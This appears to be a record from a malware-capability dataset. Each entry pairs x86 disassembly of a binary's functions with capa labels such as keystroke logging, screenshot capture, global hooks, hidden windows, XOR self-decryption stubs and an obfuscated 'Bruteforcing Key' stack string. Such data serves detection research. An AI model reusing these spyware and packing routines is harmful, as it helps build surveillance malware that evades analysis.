joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4377e8
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp - 9]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x10], edx
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [0x46bb58], 0
je 0x437937
push 0x11
call sub.user32.dll_GetKeyState
test ax, 0x8000
setne al
mov edx, dword [0x46a304]
mov edx, dword [edx]
xor al, byte [edx + 0xb4]
je 0x437937
mov eax, dword [0x46bb5c]
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [0x46bb58]
mov ebx, dword [eax + 8]
dec ebx
test ebx, ebx
jl 0x437906
inc ebx
xor edi, edi
mov edx, edi
mov eax, dword [0x46bb58]
call fcn.00418034
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x10]
je 0x4378fe
mov eax, dword [ebp - 0x14]
cmp byte [eax + 0x1a6], 0
je 0x4378fe
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
call dword [edx + 0x50]
test al, al
je 0x4378fe
mov eax, dword [ebp - 0x14]
call fcn.004404b8
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x4378fe
push ebp
call fcn.004377a4
pop ecx
test al, al
jne 0x4378fe
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xa0]
cmp eax, dword [ebp - 0x14]
jne 0x4378ba
mov eax, dword [ebp - 0x14]
call fcn.0043efb0
dec eax
jle 0x4378fe
mov byte [ebp - 1], 1
lea eax, [ebp - 9]
push eax
lea eax, [ebp - 1]
push eax
lea ecx, [ebp - 0x28]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov si, 0xffbd
call fcn.0040375c
cmp byte [ebp - 1], 0
je 0x4378fe
push dword [ebp - 5]
push dword [ebp - 9]
lea eax, [ebp - 0x28]
push eax
call sub.user32.dll_PtInRect
test eax, eax
je 0x4378fe
mov edx, dword [ebp - 0x14]
mov eax, dword [0x46bb5c]
call fcn.00436f70
inc edi
dec ebx
jne 0x43784d
mov eax, dword [0x46bb5c]
cmp dword [eax + 8], 0
jle 0x43791e
mov eax, dword [0x46bb5c]
call fcn.00437000
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x437937
push ebp
mov eax, dword [ebp - 0x18]
call fcn.0043760c
pop ecx
test al, al
jne 0x437937
xor eax, eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x43af18
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
test byte [esi + 0x1c], 0x10
je 0x43af64
mov eax, esi
call fcn.00450858
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x43af64
mov eax, dword [ebp - 0x14]
cmp dword [eax + 0x250], 0
je 0x43af64
mov ecx, ebx
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x250]
mov edx, esi
mov edi, dword [eax]
call dword [edi + 0x24]
test al, al
jne 0x43b0a3
mov eax, dword [ebx]
cmp eax, 0x100
jb 0x43afa4
cmp eax, 0x108
ja 0x43afa4
mov eax, esi
call fcn.00450858
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x43b09a
mov ecx, ebx
mov edx, esi
mov eax, dword [ebp - 0x14]
mov edi, dword [eax]
call dword [edi + 0xf0]
test al, al
jne 0x43b0a3
jmp 0x43b09a
mov eax, dword [ebx]
cmp eax, 0x200
jb 0x43b083
cmp eax, 0x20a
ja 0x43b083
test byte [esi + 0x50], 0x80
jne 0x43afd6
sub eax, 0x203
je 0x43afd3
sub eax, 3
je 0x43afd3
sub eax, 3
jne 0x43afd6
sub dword [ebx], 2
mov eax, dword [ebx]
sub eax, 0x200
je 0x43afea
dec eax
je 0x43afff
dec eax
je 0x43b01c
dec eax
je 0x43afff
jmp 0x43b023
mov ecx, ebx
mov eax, dword [0x46a304]
mov eax, dword [eax]
mov edx, esi
call fcn.0045a1b0
jmp 0x43b09a
cmp byte [esi + 0x5d], 1
jne 0x43b015
mov eax, esi
mov si, 0xffed
call fcn.0040375c
jmp 0x43b0a3
or word [esi + 0x54], 1
jmp 0x43b09a
and word [esi + 0x54], 0xfffe
jmp 0x43b09a
mov eax, dword [0x46bb14]
cmp byte [eax + 0x20], 0
je 0x43b09a
mov eax, dword [0x46bb14]
cmp dword [eax + 0x1c], 0
je 0x43b09a
mov eax, dword [ebx]
mov edx, dword [0x46bb14]
cmp eax, dword [edx + 0x1c]
jne 0x43b09a
lea eax, [ebp - 0x114]
push eax
call sub.user32.dll_GetKeyboardState
mov eax, dword [ebx]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
call fcn.0045079c
mov byte [ebp - 0xc], al
mov ax, word [ebx + 4]
mov word [ebp - 0xa], ax
mov eax, dword [ebx + 8]
mov dword [ebp - 8], eax
lea edx, [ebp - 0x10]
mov eax, esi
mov si, 0xffc9
call fcn.0040375c
jmp 0x43b0a3
cmp eax, 0xb00b
jne 0x43b09a
mov edx, dword [ebx + 8]
push edx
mov ecx, dword [ebx + 4]
mov edx, eax
mov eax, esi
call fcn.00439838
mov edx, ebx
mov eax, esi
mov ecx, dword [eax]
call dword [ecx - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x43e610
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff94
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0x1f8], 0
je 0x43e62c
cmp dword [esi + 4], 0
je 0x43e659
test byte [ebx + 0x55], 1
jne 0x43e64b
mov eax, ebx
call fcn.0043d1b0
test eax, eax
jne 0x43e64b
mov edx, esi
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx - 0x10]
jmp 0x43e769
mov edx, esi
mov eax, ebx
call fcn.0043e134
jmp 0x43e769
push 0
call sub.user32.dll_GetDC
mov edi, eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push edi
call sub.gdi32.dll_CreateCompatibleBitmap
mov dword [ebp - 8], eax
push edi
push 0
call sub.user32.dll_ReleaseDC
push 0
call sub.gdi32.dll_CreateCompatibleDC
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x43e762
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.004404b8
push eax
call sub.user32.dll_BeginPaint
mov edi, eax
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 4]
mov edx, 0x14
mov eax, ebx
call fcn.0043ae4c
mov eax, dword [ebp - 4]
mov dword [esi + 4], eax
mov edx, esi
mov eax, ebx
call fcn.0043e610
xor eax, eax
mov dword [esi + 4], eax
push 0xcc0020
push 0
push 0
mov eax, dword [ebp - 4]
push eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push 0
push 0
push edi
call sub.gdi32.dll_BitBlt
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.004404b8
push eax
call sub.user32.dll_EndPaint
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43e769
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_DeleteDC
mov eax, dword [ebp - 8]
push eax
call sub.gdi32.dll_DeleteObject
ret
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x444e30
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, dword [0x46a498]
cmp byte [eax + 0xc], 0
je 0x444f9d
push 0x8000
call sub.kernel32.dll_SetErrorMode
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x444f96
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x46bb68], 0
jne 0x444e84
push 0x444fa4
call sub.kernel32.dll_GetModuleHandleA_2
mov ebx, eax
push 0x444fac
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x46bb68], eax
cmp dword [0x469c30], 0
jne 0x444f7f
push 0x444fbc
call sub.kernel32.dll_LoadLibraryA
mov dword [0x469c30], eax
cmp dword [0x469c30], 0
je 0x444f7f
push 0x444fc8
mov eax, dword [0x469c30]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x46bb6c], eax
push 0x444fd8
mov eax, dword [0x469c30]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x46bb70], eax
push 0x444fec
mov eax, dword [0x469c30]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x46bb74], eax
push 0x445004
mov eax, dword [0x469c30]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x46bb78], eax
push 0x44501c
mov eax, dword [0x469c30]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x46bb7c], eax
push 0x445030
mov eax, dword [0x469c30]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x46bb80], eax
push 0x445048
mov eax, dword [0x469c30]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x46bb84], eax
push 0x445060
mov eax, dword [0x469c30]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x46bb88], eax
push 0x44507c
mov eax, dword [0x469c30]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x46bb8c], eax
push 0x445088
mov eax, dword [0x469c30]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x46bb90], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x444f9d
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_SetErrorMode
ret
pop ebx
pop ecx
pop ebp
ret

Function at 0x448e28
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.00404300
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x448e77
push pe_nt_image_headers32
lea edx, [ebp - 0x102]
push edx
push eax
call sub.user32.dll_GetKeyNameTextA
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, pe_nt_image_headers32
call fcn.00404570
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x45070c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x45075c]
test si, 4
je 0x450720
or bl, 1
test si, 8
je 0x45072a
or bl, 4
test si, 1
je 0x450734
or bl, 8
test si, 2
je 0x45073e
or bl, 0x10
test si, 0x10
je 0x450748
or bl, 0x20
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x450757
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x450760
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x450798]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x450779
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x450788
or bl, 4
test esi, 0x20000000
je 0x450793
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x456e5c
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x456e6e
add esp, 0xfffffff0
call fcn.0040388c
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041da68
mov eax, dword [0x46a10c]
mov dword [eax + 4], ebx
mov dword [eax], 0x457200
mov eax, dword [0x46a118]
mov dword [eax + 4], ebx
mov dword [eax], 0x45720c
mov eax, ebx
call fcn.00457218
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x415ccc]
call fcn.00403524
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x415ccc]
call fcn.00403524
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x415ccc]
call fcn.00403524
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x415ccc]
call fcn.00403524
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x415ccc]
call fcn.00403524
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x453630
push eax
push 0
push 0
mov eax, dword [0x46a27c]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x41f4d4]
call fcn.00420c34
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x41f4d4]
call fcn.00420c34
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x41f4d4]
call fcn.00420c34
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.00457668
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x457530
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x457530
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x457530
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x456fab
call fcn.004038e4
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x457314
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4574bf
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x4574a0
mov dl, 1
mov eax, dword [0x4160e8]
call fcn.00403524
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.00404300
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x45748f
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.00445190
test al, al
je 0x457482
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x4574d0
lea eax, [ebp - 0x254]
call fcn.00409454
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x457482
xor eax, eax
push ebp
push 0x45747b
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x457508
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x457464
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404570
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x457464
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404570
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x457482
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x457385
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.00419bc4
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4574c6
lea eax, [ebp - 0x260]
call fcn.00404300
ret

Function at 0x457e08
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x46bbb4]
cmp byte [eax + 0xa5], 0
jne 0x457e79
cmp dword [0x46bbcc], 0
jne 0x457e3a
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x457dc4
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x46bbcc], eax
cmp dword [0x46bbc8], 0
jne 0x457e55
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x46bbc8], eax
cmp dword [0x46bbd0], 0
jne 0x457e79
push esp
push 0
push 0
push 0x457d68
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x46bbd0], eax
pop edx
ret
Function at 0x45850c
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x46bbb4]
cmp dword [eax + 0x30], 0
je 0x4585b6
cmp dword [ebx + 0x94], 0
jne 0x4585b0
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x45849c
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x4585b0
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x458576
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x4585b0
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00418034
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x458585
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x459114
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x459149
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.004043f0
jmp 0x459156
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404354
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x45a2f8
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x45a339
mov eax, esi
call fcn.004407bc
test al, al
je 0x45a339
mov eax, dword [ebx + 0x84]
call fcn.004404b8
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x45a339
push 0
mov eax, dword [ebx + 0x84]
call fcn.004404b8
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret
Function at 0x45b01c
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x48], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
lea eax, [ebp - 0x10]
mov edx, dword [0x4150d4]
call fcn.00404c70
xor eax, eax
push ebp
push 0x45b160
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x469e64], 0
jne 0x45b06f
mov ecx, dword [0x46a040]
mov dl, 1
mov eax, dword [0x4075ec]
call fcn.0040bfc0
call fcn.00403cf4
lea eax, [ebp - 0x20]
xor ecx, ecx
mov edx, 0x10
call fcn.00402f64
mov eax, ebx
call fcn.00404b3c
mov dword [ebp - 0x1c], eax
push esi
push edi
mov esi, 0x45b170
lea edi, [ebp - 0x30]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop edi
pop esi
lea eax, [ebp - 0x30]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0xc]
call fcn.00405cb0
xor eax, eax
mov dword [ebp - 8], eax
mov eax, ebx
call fcn.00404b4c
test eax, eax
jle 0x45b107
mov dword [ebp - 4], 0x10
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x40]
push eax
call sub.kernel32.dll_GetComputerNameA
test eax, eax
je 0x45b100
lea eax, [ebp - 0x44]
mov edx, ebx
call fcn.00404588
mov eax, dword [ebp - 0x44]
push eax
lea eax, [ebp - 0x48]
lea edx, [ebp - 0x40]
mov ecx, 0x10
call fcn.00404570
mov eax, dword [ebp - 0x48]
pop edx
call fcn.00408464
test eax, eax
jne 0x45b100
mov ebx, 0x15
jmp 0x45b10c
mov ebx, 0x10
jmp 0x45b10c
mov ebx, 0x15
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 0x20]
push eax
push ebx
push 0
push esi
call dword [0x469e64]
call fcn.0045af74
mov eax, dword [ebp - 8]
call fcn.0045af74
mov eax, edi
mov edx, dword [ebp - 0xc]
call fcn.00405cc8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45b167
lea eax, [ebp - 0x48]
mov edx, 2
call fcn.00404324
lea eax, [ebp - 0x10]
mov edx, dword [0x4150d4]
call fcn.00404d40
ret
Function at 0x43a172
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
pushal
mov edx, dword [ebp + 8]
mov ax, word [edx]
cmp ax, 0x5a4d
jne 0x43a1a1
mov eax, dword [edx + 0x3c]
add edx, eax
mov eax, dword [edx]
cmp eax, 0x4550
jne 0x43a1a1
add edx, 4
mov dword [ebp - 4], edx
popal
mov eax, dword [ebp - 4]
leave
ret 8
popal
sub eax, eax
leave
ret 8

Function at 0x43adff
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov ecx, 3
mov edx, 1
push ecx
push dword [ebp + 8]
call fcn.0043af04
rol eax, 8
push dword [ebp + 0xc]
push eax
call fcn.0043af20
push edx
push dword [ebp + 0x10]
push eax
call fcn.0043aeec
inc edx
mov ebx, eax
push ecx
sub ecx, 3
push ecx
push dword [ebp + 8]
call fcn.0043af04
pop ecx
xor eax, ebx
inc ecx
push ecx
push dword [ebp + 8]
push eax
call fcn.0043aecb
push ecx
push dword [ebp + 8]
call fcn.0043af04
mov ebx, eax
push ecx
sub ecx, 3
push ecx
push dword [ebp + 8]
call fcn.0043af04
pop ecx
xor eax, ebx
inc ecx
push ecx
push dword [ebp + 8]
push eax
call fcn.0043aecb
push ecx
push dword [ebp + 8]
call fcn.0043af04
mov ebx, eax
push ecx
sub ecx, 3
push ecx
push dword [ebp + 8]
call fcn.0043af04
pop ecx
xor eax, ebx
inc ecx
push ecx
push dword [ebp + 8]
push eax
call fcn.0043aecb
push ecx
push dword [ebp + 8]
call fcn.0043af04
mov ebx, eax
push ecx
sub ecx, 3
push ecx
push dword [ebp + 8]
call fcn.0043af04
pop ecx
xor eax, ebx
inc ecx
push ecx
push dword [ebp + 8]
push eax
call fcn.0043aecb
cmp ecx, 0x2b
jne 0x43ae0f
leave
ret 0xc

Function at 0x43c4b4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
pushal
mov byte [ebp - 0x118], 0x42
mov byte [ebp - 0x117], 0x72
mov byte [ebp - 0x116], 0x75
mov byte [ebp - 0x115], 0x74
mov byte [ebp - 0x114], 0x65
mov byte [ebp - 0x113], 0x66
mov byte [ebp - 0x112], 0x6f
mov byte [ebp - 0x111], 0x72
mov byte [ebp - 0x110], 0x63
mov byte [ebp - 0x10f], 0x69
mov byte [ebp - 0x10e], 0x6e
mov byte [ebp - 0x10d], 0x67
mov byte [ebp - 0x10c], 0x20
mov byte [ebp - 0x10b], 0x4b
mov byte [ebp - 0x10a], 0x65
mov byte [ebp - 0x109], 0x79
mov byte [ebp - 0x108], 0
mov eax, 1
lea edi, [ebp - 0x14]
mov ecx, 0x10
mov al, 0
mov byte [edi], al
inc edi
dec ecx
jne 0x43c544
mov eax, dword [ebp + 8]
push 4
push 0x3000
push 0x2ca70
push 0
call dword [eax + 0x20]
test eax, eax
je 0x43c5d6
mov dword [ebp - 4], eax
mov edi, eax
mov esi, dword [ebp + 0xc]
mov ecx, 0x2ca70
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 0xc]
push dword [ebp + 0xc]
push 0x2ca70
call fcn.0043c3fa
push 0x2ca70
push dword [ebp + 0xc]
call fcn.0043a1a8
test eax, eax
jne 0x43c5b8
mov esi, dword [ebp - 4]
mov edi, dword [ebp + 0xc]
mov ecx, 0x2ca70
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x14]
push eax
call fcn.0043c5dd
test eax, eax
je 0x43c5d6
jmp 0x43c574
mov eax, dword [ebp + 8]
push 0x8000
push 0
push dword [ebp - 4]
call dword [eax + 0x28]
test eax, eax
je 0x43c5d6
popal
mov eax, 1
leave
ret 8
popal
sub eax, eax
leave
ret 8
Function at 0x43c60b
Capabilities:
Terminate process

Disassembly:
call fcn.0043c618
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx